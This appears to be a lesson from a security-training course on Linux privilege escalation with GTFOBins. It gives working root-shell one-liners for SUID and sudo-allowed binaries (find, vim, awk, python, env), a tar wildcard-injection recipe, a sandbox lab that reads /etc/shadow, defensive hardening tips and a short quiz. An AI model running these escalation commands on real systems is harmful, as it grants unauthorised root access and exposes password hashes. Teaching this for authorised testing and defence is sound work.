learn/phase-3/p3-w12/lesson 03
Milestone 12 · lesson 3

GTFOBins: SUID & sudo to Root

Hands-on: escalate to root in the sandbox via a SUID binary and a sudo rule, then loot.
Lab: GTFOBins to Root

Abuse a sudo-allowed binary to read a file you shouldn't be able to.

What you'll learn

  • Explain what GTFOBins is and when an ordinary binary becomes a weapon.
  • Read a GTFOBins entry and pick the SUID or Sudo payload.
  • Escalate to root through a SUID binary and through a sudo rule.
  • Loot after escalation, and know how defenders shut it down.

GTFOBins: SUID & sudo to Root

GTFOBins is a curated list of ordinary Unix binaries that can be abused to break out of restricted environments and escalate privileges. A program like find, vim, awk, or python is harmless when you run it normally, but if you can run it as root, and it can execute other commands, you get a root shell.

The whole idea rests on one rule about the SUID bit: a program with it runs as the file's owner, not as you. If the owner is root, you're borrowing root's power:

alice runs/bin/cat-rwxr-xr-x rootprocess runs as alice
alice runs/usr/bin/find-rwsr-xr-x root ← the s = SUIDprocess runs as ROOT

The s bit means "run as the file's owner." Owner is root, so any caller runs it as root.

When does a binary become a weapon?

A GTFOBins technique only escalates when the binary already runs with extra privileges. Three triggers:

  • SUID , the binary has the SUID bit and is owned by root (found with find / -perm -4000).
  • Sudo , sudo -l says you may run it as root.
  • Capabilities , the binary has a Linux capability like cap_setuid.

If none of those are true, the same command just gives you a shell as yourself, no gain. The privilege has to come from somewhere.

How to use GTFOBins

  1. Enumerate , find / -perm -4000 and sudo -l to list candidate binaries.
  2. Look it up , open gtfobins.github.io, search the binary, open the SUID or Sudo section.
  3. Run the payload , copy the one-liner and run it.

Worked examples

find (SUID). find can run a program with -exec. If find is SUID root, that program is root:

find . -exec /bin/sh -p \;

The -p tells the shell to keep the elevated privileges instead of dropping them.

vim (Sudo). An editor that can shell out (:!cmd). Run via sudo and the shell is root:

sudo vim -c ':!/bin/sh'

awk (SUID or Sudo). awk can run system commands:

awk 'BEGIN {system("/bin/sh")}'

python (SUID or Sudo).

python3 -c 'import os; os.system("/bin/sh")'

env (SUID or Sudo). env can launch any binary, including a shell:

sudo env /bin/sh

less / more / man (Sudo). Pagers can run a shell from inside: open a file, then type !/bin/sh.

Wildcard injection: when there's no shell in sight

The examples above all abuse a binary that can obviously run commands. But some sudo rules and root cron jobs look completely harmless, they just archive or copy files, and still hand you root. The classic:

(root) NOPASSWD: /usr/bin/tar -czf /backup/data.tar.gz *

No editor, no interpreter, nothing shell-capable. It looks safe. It isn't, and the reason is the single *.

Why the wildcard is the whole vulnerability. The * is a shell glob. The shell expands it into the list of filenames in the current directory before tar ever runs. And a program cannot tell a filename apart from a command-line flag, both arrive as plain arguments. So if you create files whose names are actually options, the shell hands them to tar as options, and tar has one that runs a command:

cd /the/directory/that/gets/archived
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
touch ./--checkpoint=1
touch ./'--checkpoint-action=exec=sh shell.sh'
# when the rule runs:  tar -czf /backup/data.tar.gz *

The shell expands * to --checkpoint=1 '--checkpoint-action=exec=sh shell.sh' shell.sh. tar reads the first two as its own flags and runs sh shell.sh as root, dropping a SUID root shell at /tmp/rootbash.

No wildcard, no attack. If the rule used a fixed argument, say tar -czf /backup/data.tar.gz /var/www, tar receives exactly those arguments and nothing you create in a directory ever reaches its command line. There's nowhere to inject. The glob is the attack surface, which is why the fix is simply to never use * in a privileged command.

The same trick works on other tools that read filenames as options (each has a GTFOBins entry):

  • chown / chmod , --reference=FILE copies another file's owner/mode, so a file named --reference=/some/file hijacks the target.
  • rsync , the -e option runs a command; a filename like -e sh shell.sh triggers it.
  • 7z, zip, scp , each has an option that can be smuggled in as a filename.

So when sudo -l (or a cron entry) shows a boring-looking command ending in * that runs in a directory you can write to, don't skip it, it's one of the most-missed paths to root.

Do it in the sandbox

Two real paths to root on the box beside you:

# Path 1 , the SUID binary
find / -perm -4000          # /usr/bin/find is SUID (the odd one out)
find . -exec /bin/sh \;     # -> root shell (#)
whoami                      # root
cat /etc/shadow             # now allowed
exit                        # drop back to learner

# Path 2 , the sudo rule
sudo -l                     # (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'     # -> root shell (#)
cat flag.txt

When the prompt turns into a red #, you are root. That is the whole game.

Defending against it

  • Minimise SUID , audit find / -perm -4000; remove the bit where it isn't needed.
  • Tight sudoers , never grant NOPASSWD on shell-capable binaries (editors, interpreters, find).
  • No wildcards in privileged commands , a sudo rule or root cron that ends in * is a wildcard-injection waiting to happen; use a fixed path instead.
  • Drop capabilities and patch the kernel.
  • Monitor , alert on a non-root user spawning a root shell.

Common questions

"Why does find . -exec /bin/sh \; give root? I didn't type any password." Because find is already running as root (SUID or via sudo). Anything it launches inherits that, so the shell it spawns is a root shell. You never needed a password, the privilege came from the binary.

"What's the difference between the SUID payload and the Sudo payload?" They exploit the same idea from two different starting points. SUID: the binary has the s bit, so you run it directly (find . -exec …). Sudo: sudo -l lets you run it, so you prefix with sudo (sudo vim …). GTFOBins lists both, pick the one that matches how you can run it.

"Do I have to memorise all these payloads?" No. You memorise the workflow: enumerate → look the binary up on GTFOBins → copy the SUID/Sudo line. The site is the cheat sheet; you just need to recognise when a binary is exploitable.

"The odd SUID binary is a custom program, not on GTFOBins. Now what?" Then you inspect it yourself, run strings on it, look for a system()/exec call to a bare command name (a PATH hijack), or an input it trusts. GTFOBins only covers the standard binaries.

Stay in scope

GTFOBins is for systems you are authorised to test. The skill here is recognising the misconfiguration, that is what you report so it gets fixed.

Check your understanding

6 questions

Type an answer and press Check. Grading is keyword-based and forgiving, so short answers are fine.

  1. 1

    Your SUID scan shows /usr/bin/find is SUID. Write the GTFOBins payload that gives you a shell.

  2. 2

    sudo -l shows (root) NOPASSWD: /usr/bin/vim. Write the GTFOBins payload to become root with it.

  3. 3

    After escalating to root, which file can you finally read that was Permission denied before?

  4. 4

    A SUID binary owned by root runs as which user, no matter who launches it?

  5. 5

    Write an awk one-liner that spawns a shell (a GTFOBins technique).

  6. 6

    A sudo rule lets you run tar -czf backup.tar.gz * as root in a directory you can write to, no shell or editor involved. What makes it exploitable, and what disappears if the * were a fixed path?